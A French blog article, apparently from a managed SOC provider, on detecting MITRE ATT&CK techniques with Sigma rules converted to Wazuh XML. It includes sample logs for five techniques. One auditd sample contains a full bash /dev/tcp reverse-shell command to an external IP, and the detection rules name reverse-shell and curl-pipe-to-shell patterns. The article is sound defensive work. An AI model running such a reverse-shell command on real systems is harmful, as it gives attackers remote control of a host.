Détecter MITRE ATT&CK avec Wazuh et règles Sigma : exemples concrets

Détecter une intrusion ne se résume plus à empiler des signatures antivirus. Les attaquants modernes vivent dans le système (LOLBins, comptes valides, scripts shell), évitent soigneusement les binaires malveillants connus et exploitent des chaînes d'actions qu'aucun moteur réputationnel ne voit. Pour rattraper ce niveau de sophistication, les équipes SOC s'appuient depuis plusieurs années sur deux piliers : le référentiel MITRE ATT&CK, qui décrit les techniques utilisées par les adversaires, et Sigma, un format de règles ouvert qui se transpile vers la plupart des SIEM. Combinés à Wazuh, ces outils permettent à une PME de bâtir une détection comportementale crédible, sans payer la facture d'un EDR cloud premium.

Cet article détaille la chaîne de production : comprendre les tactiques ATT&CK, écrire ou récupérer une règle Sigma, la convertir en règle Wazuh, et la déployer. Cinq techniques fréquemment observées en environnement Windows et Linux sont disséquées (T1078, T1059.004, T1569, T1090, T1110), chacune avec son log d'exemple, sa règle Sigma et son équivalent XML Wazuh prêt à charger.

#1. MITRE ATT&CK Enterprise : la grammaire de la détection

ATT&CK (Adversarial Tactics, Techniques & Common Knowledge) est une base de connaissances maintenue par MITRE qui formalise le comportement des attaquants. La matrice Enterprise couvre les environnements d'entreprise (Windows, Linux, macOS, cloud, conteneurs, réseau) et s'organise en trois niveaux.

Tactiques (14 colonnes). Chaque tactique représente un objectif intermédiaire : Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, Impact. Une attaque réelle traverse plusieurs tactiques, souvent dans un ordre prévisible.

Techniques (250+). Une technique décrit un comment : T1078 — Valid Accounts, T1059 — Command and Scripting Interpreter, T1110 — Brute Force. Chaque technique est documentée avec procédures observées, mitigations, sources de données et exemples de groupes APT qui l'utilisent.

Sous-techniques. Beaucoup de techniques se déclinent : T1078.001 (Default Accounts), T1078.002 (Domain Accounts), T1078.003 (Local Accounts), T1078.004 (Cloud Accounts). Cette granularité change la donne pour la détection : un compte cloud Azure compromis n'a pas les mêmes signaux qu'un compte local Linux brute-forcé.

L'intérêt opérationnel d'ATT&CK est qu'il fournit un langage commun entre la threat intel, le red team, le SOC et les auditeurs. Quand un rapport CTI mentionne « le groupe utilise T1059.001 (PowerShell) suivi de T1055 (Process Injection) puis T1572 (Protocol Tunneling) », le SOC sait exactement quelles règles vérifier dans son SIEM. Cette traçabilité est aussi attendue par les contrôles ISO 27001:2022 A.8.16 — Monitoring activities, qui exigent une couverture de détection documentée et alignée sur le paysage de menace.

#2. Sigma : la règle YAML générique

Sigma est l'équivalent de YARA pour les logs. Le format est un YAML lisible qui décrit des conditions de détection sans coupler la règle à un SIEM particulier. Une seule règle Sigma peut ensuite être convertie vers Splunk SPL, Elastic KQL, Microsoft Sentinel KQL, QRadar AQL, Loki LogQL — et bien sûr Wazuh.

Une règle Sigma typique ressemble à ceci :

title: Suspicious Bash Reverse Shell
id: 8c2f8e3d-0a8f-4b3a-9b6e-1d3c2a4e5f6a
status: stable
description: Detects bash reverse shell pattern via /dev/tcp
references:
    - https://attack.mitre.org/techniques/T1059/004/
author: SOC Team
date: 2026/01/15
tags:
    - attack.execution
    - attack.t1059.004
logsource:
    product: linux
    service: auditd
detection:
    selection:
        type: EXECVE
        a0|contains: 'bash'
        a1|contains: '-i'
        a2|contains: '/dev/tcp/'
    condition: selection
falsepositives:
    - Legitimate administrative scripts
level: high

Trois sections importent : logsource (où chercher), detection (la condition logique), tags (le mapping ATT&CK). Les tags au format attack.t<NUMERO> permettent de générer automatiquement la couverture Navigator (cf. section 5).

sigma-cli est l'outil officiel pour convertir les règles. Installation :

pip install sigma-cli
sigma plugin install wazuh
sigma list targets | grep wazuh
# wazuh : Wazuh XML rules
# wazuh-tornado-rules : Wazuh rules using Tornado regex syntax

#3. Workflow de production

La chaîne typique en production se compose de quatre étapes, chacune versionnée dans Git pour assurer l'auditabilité.

Étape 1 — Sourcing. Récupérer les règles Sigma depuis le dépôt communautaire SigmaHQ/sigma (3000+ règles publiques) et/ou écrire ses propres règles maison. Le dépôt est cloné comme submodule du repo SOC.

Étape 2 — Filtrage. Toutes les règles Sigma ne sont pas pertinentes : un parc 100 % Linux n'a pas besoin des 1500 règles Windows. Un script Python parcourt les fichiers, lit logsource.product et tags, et ne retient que les règles utiles. On en garde généralement 200 à 400 sur les 3000 disponibles.

Étape 3 — Conversion. La commande de conversion prend la règle YAML et produit du XML Wazuh :

sigma convert \
  -t wazuh-tornado-rules \
  -p wazuh \
  rules/linux/auditd/lnx_auditd_susp_reverse_shell.yml \
  -o output/rule_100501.xml

L'option -p wazuh charge un pipeline qui adapte les noms de champs Sigma génériques (Image, CommandLine) aux décodeurs Wazuh (audit.exe, audit.execve.a0).

Étape 4 — Déploiement. Les fichiers XML sont copiés dans /var/ossec/etc/rules/ sur le manager Wazuh, le service est rechargé (systemctl restart wazuh-manager) et les règles sont actives. Une CI/CD GitLab pousse le tout en automatique : merge request → tests wazuh-logtest → déploiement Ansible → vérification que le manager redémarre proprement.

L'idempotence du process est essentielle : chaque règle a un ID unique (espace de numérotation 100000–199999 réservé aux règles custom Wazuh) et un commentaire <!-- Sigma ID: 8c2f8e3d-... --> qui permet de retrouver l'origine.

#4. Cinq TTPs disséqués

#4.1 — T1078 (Valid Accounts) : login anormal

Tactique : Initial Access, Persistence, Privilege Escalation, Defense Evasion. Symptôme : un compte légitime (RH, comptable) se connecte depuis un pays inhabituel, en dehors des horaires, ou sur un service qu'il ne consulte jamais. L'attaquant a obtenu les identifiants via phishing, infostealer ou achat sur un marché.

Log d'exemple — sshd Linux :

Apr 28 03:14:22 srv-prod sshd[18432]: Accepted password for compta from 185.220.101.42 port 51334 ssh2

L'utilisateur compta se connecte en SSH sur un serveur de production à 3 h 14 du matin depuis une IP Tor (185.220.0.0/16 est un range bien connu de nœuds de sortie). Trois anomalies superposées : utilisateur métier sur serveur infra, horaire nocturne, IP réputation suspecte.

Règle Sigma :

title: Off-Hours Login from Tor Exit Node
id: 1f4e5a6b-7c8d-9e0f-1a2b-3c4d5e6f7a8b
tags:
    - attack.initial_access
    - attack.t1078
logsource:
    product: linux
    service: auth
detection:
    selection:
        program: sshd
        keyword|contains: 'Accepted'
    condition: selection
    timeframe: 0h-6h
level: medium

Wazuh XML :

<group name="mitre,attack.t1078,linux,">
  <rule id="100501" level="10">
    <if_sid>5715</if_sid>
    <time>23:00 - 6:00</time>
    <list lookup="match_key" field="srcip">etc/lists/tor-exit-nodes</list>
    <description>T1078 — SSH login successful from Tor exit during off-hours</description>
    <mitre>
      <id>T1078</id>
    </mitre>
  </rule>
</group>

La règle s'appuie sur la liste CDB tor-exit-nodes mise à jour quotidiennement par un cron qui télécharge https://check.torproject.org/exit-addresses. La conjonction des trois critères (succès SSH + horaire + IP Tor) descend le bruit en dessous de 1 alerte/semaine sur un parc de 50 serveurs.

#4.2 — T1059.004 (Unix Shell) : bash suspect

Tactique : Execution. Symptôme : un binaire bash exécute des arguments qui ressemblent à un reverse shell, à un téléchargement-puis-exécution, ou à une décompression base64. Sur Linux, c'est la technique numéro un post-exploitation, qu'il s'agisse d'un webshell, d'un cron malveillant ou d'un container compromis.

Log d'exemple — auditd :

type=EXECVE msg=audit(1714298152.331:8842): argc=3 a0="bash" a1="-i" a2=">& /dev/tcp/45.142.214.12/4444 0>&1"

Le motif /dev/tcp/<IP>/<PORT> redirigé vers stdin/stdout est la signature canonique du reverse shell bash. Aucun usage légitime documenté.

Règle Sigma (détaillée plus haut au §2).

Wazuh XML :

<group name="mitre,attack.t1059.004,linux,">
  <rule id="100510" level="14">
    <if_sid>80700</if_sid>
    <field name="audit.execve.a0">bash|sh|dash|zsh</field>
    <field name="audit.execve.a2" type="pcre2">/dev/tcp/[\d\.]+/\d+</field>
    <description>T1059.004 — Reverse shell pattern via /dev/tcp</description>
    <mitre>
      <id>T1059.004</id>
    </mitre>
  </rule>
  <rule id="100511" level="12">
    <if_sid>80700</if_sid>
    <field name="audit.execve.a2" type="pcre2">curl.+\|\s*(bash|sh)</field>
    <description>T1059.004 — Pipe curl into shell (drive-by execution)</description>
  </rule>
</group>

Le niveau 14 déclenche une alerte critique : le SOC est notifié immédiatement, le hôte source est isolé via active-response (firewall-drop sur le port 4444 et coupure SSH du compte concerné).

#4.3 — T1569 (System Services) : abus de service

Tactique : Execution, Persistence. Symptôme : création ou modification d'un service système pour exécuter du code avec des privilèges élevés et obtenir de la persistance. Sur Windows, c'est la création d'un service via sc.exe create ou un New-Service PowerShell. Sur Linux, c'est l'écriture d'une unit systemd dans /etc/systemd/system/ ou ~/.config/systemd/user/.

Log d'exemple — Sysmon Windows EID 4697 :

<EventData>
  <Data Name="ServiceName">UpdateHelper</Data>
  <Data Name="ImagePath">C:\Users\Public\svc.exe -k netsvcs</Data>
  <Data Name="ServiceType">user mode service</Data>
  <Data Name="StartType">auto start</Data>
  <Data Name="AccountName">.\Administrator</Data>
</EventData>

L'image du service pointe vers C:\Users\Public, répertoire jamais utilisé pour des services légitimes — combo gagnant avec démarrage automatique.

Règle Sigma :

title: Suspicious Service Created from User-Writable Path
id: 2a3b4c5d-6e7f-8a9b-0c1d-2e3f4a5b6c7d
tags:
    - attack.persistence
    - attack.t1569.002
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4697
        ImagePath|contains:
            - 'C:\Users\Public\'
            - 'C:\Windows\Temp\'
            - 'C:\ProgramData\'
            - '\AppData\Local\Temp\'
    condition: selection
level: high

Wazuh XML :

<group name="mitre,attack.t1569.002,windows,">
  <rule id="100520" level="13">
    <if_sid>60106</if_sid>
    <field name="win.system.eventID">^4697$</field>
    <field name="win.eventdata.imagePath" type="pcre2">(?i)(Users\\Public|Windows\\Temp|ProgramData|AppData\\Local\\Temp)</field>
    <description>T1569.002 — Service created from user-writable path</description>
    <mitre>
      <id>T1569.002</id>
    </mitre>
  </rule>
</group>

Le pendant Linux écoute les modifications de /etc/systemd/system/*.service via le module FIM (File Integrity Monitoring) de Wazuh, avec une whitelist des paquets .deb/.rpm connus pour éviter les faux positifs lors des apt upgrade.

#4.4 — T1090 (Proxy / C2) : tunnel sortant

Tactique : Command and Control. Symptôme : une machine établit une connexion sortante vers un domaine ou une IP qui sert de relais (Tor, proxy résidentiel, VPS de l'attaquant). La technique recouvre quatre sous-techniques : T1090.001 (Internal Proxy), T1090.002 (External Proxy), T1090.003 (Multi-hop), T1090.004 (Domain Fronting).

Log d'exemple — Suricata JSON :

{
  "timestamp": "2026-04-29T14:22:07.118Z",
  "src_ip": "10.42.0.18",
  "dest_ip": "192.42.116.13",
  "dest_port": 9001,
  "proto": "TCP",
  "tls": {
    "sni": "www.bing.com",
    "issuerdn": "CN=Tor",
    "subject": "CN=*.random.tld"
  }
}

Trois indicateurs : port 9001 (port Tor par défaut), certificat émis par une CA CN=Tor, SNI bing.com qui ne correspond pas au certificat (domain fronting raté).

Règle Sigma :

title: Tor Connection Detected via TLS Metadata
id: 3b4c5d6e-7f8a-9b0c-1d2e-3f4a5b6c7d8e
tags:
    - attack.command_and_control
    - attack.t1090.003
logsource:
    product: suricata
    category: tls
detection:
    selection:
        tls.issuerdn|contains: 'CN=Tor'
    selection_port:
        dest_port:
            - 9001
            - 9030
            - 9050
    condition: selection or selection_port
level: high

Wazuh XML :

<group name="mitre,attack.t1090,network,">
  <rule id="100530" level="11">
    <decoded_as>json</decoded_as>
    <field name="tls.issuerdn">CN=Tor</field>
    <description>T1090.003 — Outbound Tor TLS connection detected</description>
    <mitre>
      <id>T1090.003</id>
    </mitre>
  </rule>
  <rule id="100531" level="10">
    <decoded_as>json</decoded_as>
    <field name="event_type">flow</field>
    <field name="dest_port">^(9001|9030|9050)$</field>
    <field name="proto">TCP</field>
    <description>T1090 — Connection to Tor known port</description>
  </rule>
</group>

La règle est complétée par un agrégateur sur 24 h : si plus de 5 hôtes différents établissent des flux Tor dans la journée, on remonte une alerte de niveau supérieur (campagne en cours).

#4.5 — T1110 (Brute Force) : essais en rafale

Tactique : Credential Access. Symptôme : échecs d'authentification répétés sur un même compte, ou « password spraying » (un mot de passe testé sur 100 comptes différents). C'est la technique la plus bruyante mais aussi la plus fréquemment ignorée parce que tout le monde la considère comme acquise.

Log d'exemple — Microsoft 365 Unified Audit :

{
  "CreationTime": "2026-04-30T09:14:11",
  "Operation": "UserLoginFailed",
  "ResultStatus": "Failure",
  "UserId": "[email protected]",
  "ClientIP": "203.0.113.45",
  "ApplicationId": "Office365 Shell",
  "LogonError": "InvalidUserNameOrPassword",
  "ExtendedProperties": [{"Name": "UserAgent", "Value": "BAV2ROPC"}]
}

Le UserAgent BAV2ROPC est l'empreinte typique des outils de password spraying contre Azure AD (legacy auth ROPC flow).

Règle Sigma :

title: Azure AD Password Spray via Legacy Auth
id: 4c5d6e7f-8a9b-0c1d-2e3f-4a5b6c7d8e9f
tags:
    - attack.credential_access
    - attack.t1110.003
logsource:
    product: m365
    service: unified-audit
detection:
    selection:
        Operation: UserLoginFailed
        UserAgent|contains:
            - 'BAV2ROPC'
            - 'CBAinPROD'
    timeframe: 10m
    condition: selection | count(UserId) by ClientIP > 10
level: high

Wazuh XML :

<group name="mitre,attack.t1110,m365,">
  <rule id="100540" level="5">
    <decoded_as>json</decoded_as>
    <field name="data.Operation">UserLoginFailed</field>
    <description>M365 login failed</description>
  </rule>
  <rule id="100541" level="12" frequency="10" timeframe="600">
    <if_matched_sid>100540</if_matched_sid>
    <same_field>data.ClientIP</same_field>
    <different_field>data.UserId</different_field>
    <description>T1110.003 — Password spray detected (>10 users from single IP in 10min)</description>
    <mitre>
      <id>T1110.003</id>
    </mitre>
  </rule>
</group>

La logique same_field + different_field est l'astuce Wazuh pour détecter un spray : même IP, plusieurs utilisateurs distincts. À l'inverse, une attaque par dictionnaire classique se détecte avec same_field sur UserId et fréquence > 20 en 5 min.

#5. Visualiser la couverture avec ATT&CK Navigator

Une fois 200 règles déployées, la question devient : quelles techniques sont couvertes, lesquelles sont aveugles ? ATT&CK Navigator est l'outil officiel MITRE qui répond à cette question : il affiche la matrice ATT&CK Enterprise sous forme de heatmap, où chaque case (technique) peut être colorée selon un score.

La génération du fichier JSON Navigator se fait par un script Python qui parcourt les règles Wazuh, extrait les balises <mitre><id> et calcule un score par technique : 1 règle = score 1, 2 règles = score 2, etc. Le rendu affiche en vert foncé les techniques bien couvertes (≥ 3 règles), en jaune celles avec une seule règle (couverture fragile), et en gris celles non couvertes.

Le résultat type d'une PME équipée Wazuh + Sigma : 60–70 % de la matrice Linux couverte, 50–60 % de la matrice Windows, 30–40 % du cloud (Azure/AWS/M365). Les zones aveugles sont quasi systématiquement Reconnaissance, Resource Development (qui se passent avant l'intrusion, hors périmètre SIEM) et Defense Evasion (qui exige souvent un EDR pour observer les manipulations en mémoire).

Cette cartographie est aussi un outil de pilotage pour l'équipe sécurité : à chaque rapport de threat intel décrivant une nouvelle campagne, on superpose les TTPs cités sur la heatmap et on voit immédiatement les angles morts à combler.

#6. Prioriser : le kill chain pour PME

Toutes les techniques ne se valent pas en termes d'impact détection. Pour une PME qui démarre, l'expérience montre qu'il faut prioriser les TTPs de milieu de chaîne plutôt que ceux du tout début ou de la toute fin.

Trop tôt, trop bruyant. Les techniques de Reconnaissance (T1595 — Active Scanning, T1589 — Gather Victim Identity) génèrent un volume colossal de logs (chaque scanner Internet vous touche 50 fois par jour) avec une valeur opérationnelle nulle : ces signaux ne disent rien sur une intrusion réussie. À ignorer en première phase.

Trop tard, dommage déjà fait. Détecter Exfiltration (T1041) ou Impact (T1486 — Data Encrypted for Impact, soit un ransomware) revient à constater le sinistre. La détection a une valeur forensique mais pas préventive.

Le sweet spot, c'est le milieu. Les tactiques Execution, Persistence, Credential Access, Lateral Movement et Command and Control correspondent à la phase où l'attaquant est dans le SI mais n'a pas encore atteint son objectif. Détecter là, c'est encore avoir le temps de couper. Les cinq TTPs détaillés au §4 appartiennent tous à cette zone, c'est volontaire.

Top 10 PME recommandé :

1. T1059.001/004 (PowerShell, Bash) — exécution suspecte
2. T1078 (Valid Accounts) — login anormal
3. T1110 (Brute Force / Password Spray)
4. T1569.002 (Service Execution) — persistance via service
5. T1547.001 (Registry Run Keys) — persistance Windows classique
6. T1053.005 (Scheduled Task) — persistance via tâche planifiée
7. T1090 (Proxy / Tor)
8. T1071.001 (Web Protocols) — C2 sur HTTPS atypique
9. T1027 (Obfuscated Files) — base64, packers
10. T1486 (Data Encrypted for Impact) — ransomware en action

Ces dix règles, bien tunées, donnent déjà 80 % de la valeur d'un SOC managé pour une PME de 50–500 postes. L'industrialisation du tri des alertes via SOC managé avec IA traite ensuite le bruit résiduel et permet de tenir un MTTD < 15 minutes en moyenne.

#7. Limites : ce qu'ATT&CK ne fait pas

ATT&CK est puissant, mais ce n'est pas une baguette magique et il convient d'être lucide sur trois angles morts.

Les zero-day ne sont pas dans la matrice. ATT&CK décrit des comportements post-exploitation observés dans des campagnes documentées. Une vulnérabilité inconnue, un exploit unique sur un protocole propriétaire, une chaîne de privesc passant par un driver custom : par définition, rien de tout cela n'est encore dans la matrice. La détection comportementale aide après l'exploitation initiale (le payload doit bien faire quelque chose), mais ne remplace pas le patch management ni la veille CVE.

Pas de runtime mémoire. Les SIEM, y compris Wazuh, voient ce qui est loggé : process creation, network flows, file changes, auth events. Ils ne voient pas l'injection de code en mémoire, la manipulation de tokens via API NT, le hooking de syscalls, le bypass AMSI in-memory. Toute la tactique Defense Evasion et une bonne moitié de Privilege Escalation exigent un EDR qui hook au niveau kernel ou ETW. Wazuh + Sigma + EDR sont complémentaires, pas substituables.

Le faux positif structurel. ATT&CK décrit des techniques que les attaquants utilisent — mais ces techniques sont aussi celles utilisées par les administrateurs légitimes. Un script PowerShell qui télécharge et exécute un binaire (T1059.001 + T1105) est suspect chez l'utilisateur final, normal chez l'ingénieur qui maintient un parc. Sans contexte (rôle de l'utilisateur, criticité du host, baseline comportementale), le ratio signal/bruit reste médiocre. C'est précisément le rôle d'une couche d'enrichissement et de tri intelligent au-dessus du SIEM.

ATT&CK Navigator n'est pas un audit. Une heatmap verte à 70 % ne signifie pas « SI sécurisé à 70 % ». Elle signifie « 70 % des techniques connues ont au moins une règle censée les détecter ». La qualité de la règle, la couverture des sources de données, le respect du périmètre (tous les hôtes loggent-ils vraiment ?), la réaction à l'alerte — rien de tout cela n'est dans la heatmap.

ATT&CK est une boussole, pas une carte. Combiné à Sigma pour la portabilité et à Wazuh pour l'industrialisation, il permet de structurer la détection autour du paysage de menace réel plutôt que des seules signatures vendor. Reste à l'opérationnaliser : tunage, playbooks, tri des alertes, threat hunting régulier sur les techniques peu couvertes.

---

On configure ces règles pour nos clients SOC managé. Wazuh + Sigma + IA tri = 95 % de bruit en moins. Voir le SOC managé →